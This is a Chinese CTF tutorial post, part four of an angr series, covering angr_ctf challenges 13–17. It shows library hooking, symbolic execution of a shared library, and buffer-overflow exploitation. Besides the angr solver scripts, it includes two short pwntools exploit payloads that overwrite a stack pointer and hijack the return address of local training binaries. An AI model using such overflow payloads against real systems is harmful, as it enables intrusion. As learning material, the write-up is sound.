angr_ctf——从0学习angr（四）：库操作和溢出漏洞利用

angr_ctf项目中后面13~17题没有新的成块的有关angr的知识了，只是对之前题目使用到的模块的扩展和补充，因此就不先列知识点和使用方式了，直接在实战中边讲解边说明

库操作

13_angr_static_binary：静态编译库函数替换

此题的代码与第1题没有区别，但它是静态编译得来的二进制文件，将所有的库函数都写入二进制文件了。

之前在angr_ctf——从0学习angr（三）中对第8题分析时讲到，angr对于库函数只会分出一条路径，而不关心库函数内部是怎样实现的，库函数内部的分支也不会增加angr路径上的分支数量。

这个说法是正确的，但是不太严谨，这是因为angr存在一个符号函数摘要集（symbolic function summaries）

在默认情况下angr会使用SimProcedures里面的符号函数摘要集替换库函数，本质上是在库函数上设置了Hooking，这些hook 函数高效地模仿库函数对状态的影响，就像我们之前在第8题中做的那样。因此angr不进入库函数内部的原因在于，它实际上执行的是hook函数，而hook函数只模仿了库函数对状态的影响，实际内部的操作并没有实现，因此也就不会产生额外分支。

Simprocedures是一个两层结构，第一层表示包名，第二层则是函数名：

而此题库函数被静态编译进来了，默认启用的符号函数摘要集作用在动态链接库上，因此此时失效了，在该题中调用的库函数都会进入内部并产生相应的分支，这会大大降低angr的效率。

因此此题的目的在于，手动使用符号函数摘要集替换程序中使用到的库函数

想要获取某个符号函数摘要集中的函数，可以使用下面的代码：

angr.SIM_PROCEDURES['libc']['scanf']()

就可以获取libc包中的scanf函数了，它是一个<SimProcedure scanf>与之前第10题中我们创建的class Hook是同一个类

对于这样的hook函数，可以使用以下两种方式将它hook到目标函数上去：

project.hook(address_of_hooked, angr.SIM_PROCEDURES['libc']['scanf']())

project.hook_symbol('__isoc99_scanf',angr.SIM_PROCEDURES['libc']['scanf']())

一种是传递待hook函数的地址，还有一种是传递函数名。

此外在进入main函数之前，程序会先调用__libc_start_main，它也是库函数，而在创建状态时，如果使用entry_state()，则初始状态就已经经过了__libc_start_main的调用，所以最好也hook掉这个函数，或者使用blank_state手动从main函数开始。

所以此题的解题方式和之前的万能脚本相同，但是需要手动hook一下库函数

angr代码：

import angr
import time
import claripy

time_strat = time.perf_counter()


def good(state):
    tag = b'Good' in state.posix.dumps(1)
    return True if tag else False


def bad(state):
    tag = b'Try' in state.posix.dumps(1)
    return True if tag else False


path_to_binary = './dist/13_angr_static_binary'
p = angr.Project(path_to_binary, auto_load_libs=False)
init_state = p.factory.entry_state()

# 手动hook库函数
p.hook(0x804ed80, angr.SIM_PROCEDURES['libc']['scanf']())
p.hook(0x804ed40, angr.SIM_PROCEDURES['libc']['printf']())
p.hook(0x804f350, angr.SIM_PROCEDURES['libc']['puts']())
p.hook(0x8048280, angr.SIM_PROCEDURES['libc']['strcmp']())
p.hook_symbol('__libc_start_main',
              angr.SIM_PROCEDURES['glibc']['__libc_start_main']())

simgr = p.factory.simgr(init_state)
simgr.explore(find=good, avoid=bad)

if simgr.found:
    solution_state = simgr.found[0]
    flag = solution_state.posix.dumps(0)
    print(flag)

14_angr_shared_library：动态链接库的符号执行

这题不是静态编译了，main函数的逻辑也和13题一样，但是用于混淆输入和比较的函数validate是通过动态链接库调用进来的，因此直接逆向查看动态链接库

此题用万能模板也能暴力破解，但为了练习的目的，我们还是对validate进行符号执行，思路如下：

模拟validate的函数执行，向它传递参数，参数的类型是一个符号变量
用explorer（）探索路径，直到validate函数返回前
为状态添加约束，即返回值为1（这样在main函数当中，就能够打印出Good），为状态添加约束可以使用solution_state.add_constraints

模拟validate的函数执行，有两种方法，一种是使用blank_state()手动设定起始位置，并通过布置栈来向validate传递参数，代码如下：

init_state = p.factory.blank_state(addr=validate_addr)

init_state.regs.ebp = init_state.regs.esp
init_state.stack_push(8)
init_state.stack_push(password_addr)
init_state.stack_push(0)

栈的布置需要了解函数调用约定，这里简单解释一下：

init_state.regs.ebp = init_state.regs.esp

　　这一句是为了初始化ebp，因为采用blank_state来初始化状态的话，大部分寄存器是没有初始化的，处于一个UNINITIALIZED状态，而esp指向栈顶，是有数值的，在第1行代码后打印ebp和esp，结果为：

<BV32 reg_ebp_1_32{UNINITIALIZED}> <BV32 0x7fff0000>，所以为了使栈结构完整，先让ebp到esp的位置来

先push（8）再push（password_addr）

　　这也是函数调用约定决定的，函数的参数从右向左压入栈中，如果不清楚程序采用了哪种函数调用约定，可以通过main函数中，对validate(password, 8)的调用来决定栈的布局

最后push（0）

　　实际上这里你随便push啥都可以，这个位置是函数的返回地址。需要这一步的原因是由于，函数返回地址的入栈是在main函数中完成的，也就是call _validate这条指令完成的。而我们设定的初始状态是在动态链接库的validate函数的开始处，也就是跳过了返回地址入栈这一步，因此也要还原回去。

上述方法需要对栈和汇编有一定的了解，angr提供了更方便的从函数处开始执行的方式：

init_state = p.factory.call_state(func_addr, param1, param2)

这样就可以在函数func_addr处开始，传递给该函数的参数则是param1,param2，可以在这里传递保存了符号变量的地址和8

最后还需要注意的一点是，动态链接库在加载时需要重定位，可以在建立项目时用load_options设定重定位的基址，就像这样：

p = angr.Project(path_to_binary,
                 auto_load_libs=False,
                 load_options={'main_opts': {
                     'custom_base_addr': base_addr
                 }})

如果不设立基址，通常angr会默认加载到0x400000处，在IDA中看到的各个指令的地址都只是相对地址，需要加上基址才能找到它们

angr脚本如下：

import angr
import claripy


def good(state):
    tag = b'Good' in state.posix.dumps(1)
    return True if tag else False


def bad(state):
    tag = b'Try' in state.posix.dumps(1)
    return True if tag else False


path_to_binary = './dist/lib14_angr_shared_library.so'
# 设定基址
base_addr = 0x400000
p = angr.Project(path_to_binary,
                 auto_load_libs=False,
                 load_options={'main_opts': {
                     'custom_base_addr': base_addr
                 }})

# validate函数的地址
validate_addr = base_addr + 0x6d7
init_state = p.factory.blank_state(addr=validate_addr)

# 创建符号变量，符号变量保存地址任意，不影响程序运行的地址就行
password = claripy.BVS('password', 8 * 8)
password_addr = base_addr + 0x5000
init_state.memory.store(password_addr, password)

# 布置栈空间
init_state.regs.ebp = init_state.regs.esp
init_state.stack_push(8)
init_state.stack_push(password_addr)
init_state.stack_push(0)

simgr = p.factory.simgr(init_state)
simgr.explore(find=base_addr + 0x783)

if simgr.found:
    solution_state = simgr.found[0]
    # 添加约束并求解，一般函数返回值会保存在eax中，可以通过IDA确认
    solution_state.add_constraints(solution_state.regs.eax == 1)
    print(solution_state.solver.eval(password, cast_to=bytes))
else:
    raise Exception("No solution found")

溢出漏洞利用

15_angr_arbitrary_read

题目逻辑很简单，当key等于418108212时执行puts（s），否则puts（try_again），而s的初始值被设定为try_again。

这里有个漏洞，就是scanf没有限制输入的字符个数，且v4的地址比s更低，因此输入字符的长度超过v4的长度时，就可以覆盖s，我们让无敌的chatGPT来分析分析

还是看出来问题了的，当然chatGPT不知道我们想要输出Good，所以没有说出覆盖s这一点

此外还通过shift+F12在地址484f4a47处找到了字符串Good Job，因此直接掏出pwntools

from pwn import *

p = process('./dist/15_angr_arbitrary_read')

Good_addr = 0x484f4a47
payload = b'41810812' + b'a'*0x10 + p32(Good_addr)
p.sendline(payload)
p.interactive()

结果如下：

可以看到打印出了Good Job，解题结束。

但又好像没结束，我们是来练习使用angr的，不是来写pwn的。

这题使用angr的解题方式如下：

首先肯定是让输入符号化，先把scanf函数hook了再说，这里尽管通过逆向能知道key必须等于41810812，但没必要费劲给key传递一个确定的值，因为求解key==41810812只是一眨眼的事，angr的最大敌人是路径太多。v4的长度应该要能够覆盖s，这样实际上s也是一个符号了。
之后会到puts(s)这里，什么样的状态应该是我们的目标状态吗，是让puts打印出Good吗？传递给puts的参数只是一个符号，puts没办法通过一个符号找到字符串，所以必须在执行puts前停下来
在puts前停下来如何保证puts能够打印出Good呢？答案是添加约束，让其参数s等于Good的地址。

hook函数的部分不做详细解释，需要注意的是，向一个地址写入字符串时不用管大小端序，也就是不用加上endness=p.arch.memory_endness这个参数。因为尽管字符串的地址在大小端序中的保存方式不同，但是字符串作为一个数组，内部的元素是以大端序保存的，如果当前程序是小端序，添加endness这个参数会导致字符串是反的。

然后，angr在puts前停下时，此时状态对应的地址是多少呢？

在main中，对puts的调用如下

angr是一个基本块一个基本块执行的，因此要么停在0x0804851E要么停在0x08048370，就是不能停在0x08048525这个地址，这个地址不会出现在angr探索的任何一条路径上，因为它不是一个基本块的开始地址。

那么另外两个地址该选哪个呢？0x0804851E处，puts的函数还没有压入栈中，并且puts的参数并不是保存在内存当中的，我们无法获取它在栈中的动态地址，因此只能选0x08048370，然后通过当前状态的esp加上偏移访问参数。

那，偏移是多少？可以看到0x08048370处是jmp指令，此时已经完成了call _puts，也就是说返回地址已经压入栈中了，此时esp应该指向返回地址，所以参数保存在esp + 4当中

angr代码如下：

import angr
import claripy

path_to_binary = './dist/15_angr_arbitrary_read'

p = angr.Project(path_to_binary, auto_load_libs=False)

init_state = p.factory.entry_state()


class Hook(angr.SimProcedure):

    def run(self, str, key_addr, password_addr):
        key_bvs = claripy.BVS('key_bvs', 4 * 8)
        # v4和s相距0x10，再加上s的大小4，一共20个字节
        password_addr_bvs = claripy.BVS('password_addr_bvs', 20 * 8)
        for chr in password_addr_bvs.chop(bits=8):
            self.state.add_constraints(chr >= '0', chr <= 'z')
        self.state.memory.store(key_addr,
                                key_bvs,
                                endness=p.arch.memory_endness)
        # 向地址中写入字符串不用关心大小端序
        self.state.memory.store(password_addr, password_addr_bvs)

        self.state.globals['password'] = password_addr_bvs


p.hook_symbol('__isoc99_scanf', Hook())


def success(state):
    # 此处应为jmp puts的地址
    call_puts_addr = 0x08048370
    if state.addr != call_puts_addr:
        return False

    good_str_addr = 0x484f4a47
    puts_param = state.memory.load(state.regs.esp + 4,
                                   4,
                                   endness=p.arch.memory_endness)

    if state.solver.symbolic(puts_param):
        cp_state = state.copy()
        cp_state.add_constraints(puts_param == good_str_addr)
        # 判断当前状态是否有解，有解就说明找到了目标状态
        if cp_state.satisfiable():
            state.add_constraints(puts_param == good_str_addr)
            return True
        else:
            return False
    else:
        return False


simgr = p.factory.simgr(init_state)
simgr.explore(find=success)

if simgr.found:
    solution_state = simgr.found[0]
    s = solution_state.solver.eval(solution_state.globals['password'],
                                   cast_to=bytes)
    print(s)
else:
    raise Exception("No solution found")

此外对于这段代码：

if state.solver.symbolic(puts_param):
        cp_state = state.copy()
        cp_state.add_constraints(puts_param == good_str_addr)
        # 判断当前状态是否有解，有解就说明找到了目标状态
        if cp_state.satisfiable():
            state.add_constraints(puts_param == good_str_addr)
            return True
        else:
            return False
    else:
        return False

创建一个复制的状态是为了不影响当前状态，如果当前状态还需要进一步执行才能达到目标状态，而你在判断当前状态是否为目标状态时增加了约束，可能会导致错误。

这段代码有一个更简便的写法：

if state.satisfiable(extra_constraints=(is_vulnerable_expression, )):
                
　　state.add_constraints(is_vulnerable_expression)
　　return True
else:
　　return False

在使用satisfiable判断当前状态是否有解时，可以使用extra_constraints添加约束，该约束会跟随状态一起判断是否有解，但该约束不会写入到状态当中。

16_angr_arbitrary_write

和15题一模一样，就不解释了

17_angr_arbitrary_jump：挟持函数控制流

第17题，先逆向，发现捞的很

一个典中典之scanf("%s")，栈溢出，发现还有一个print_good函数，那么依然是不解释连招

from pwn import *

p = process("./dist/17_angr_arbitrary_jump")
payload = b'a' * 0x20 + p32(0xdeadbeef) + p32(0x42585249)
p.sendline(payload)
p.interactive()

但是我们得用angr来解。

这题的目的是获取一个输入，这个输入能够让某个state的eip变成想要的值，也就是控制程序的控制流。那么就意味着我们要让eip变成某个符号变量，然后求解这个符号变量

eip都变成符号变量了，那么程序该如何执行下一条指令呢？angr对于这种情况，一般会将state放到unconstrained这个stash中，有关stash的介绍可见angr_ctf——从0学习angr（一）。这个stash中的state会被angr默认丢弃以增加效率，而现在我们需要这个stash里面的state。可以在创建SM时保存，就像这样：

simgr = p.factory.simgr(init_state, save_unconstrained=True)

处于unconstrained中的state，如果它在eip等于目标地址（也就是print_good的地址）时，能够有解（满足state.satisfiable为真），这样的状态就是目标状态了，可以将它放入到found这个state中，stash中state的转移也可以参考第一篇内容。

angr在执行时，每次进入新的路径就会有新的state，为了判断这个state是否符合要求，这次不用explorer自动探索了，我们采用step单步执行，然后获取state进行判断。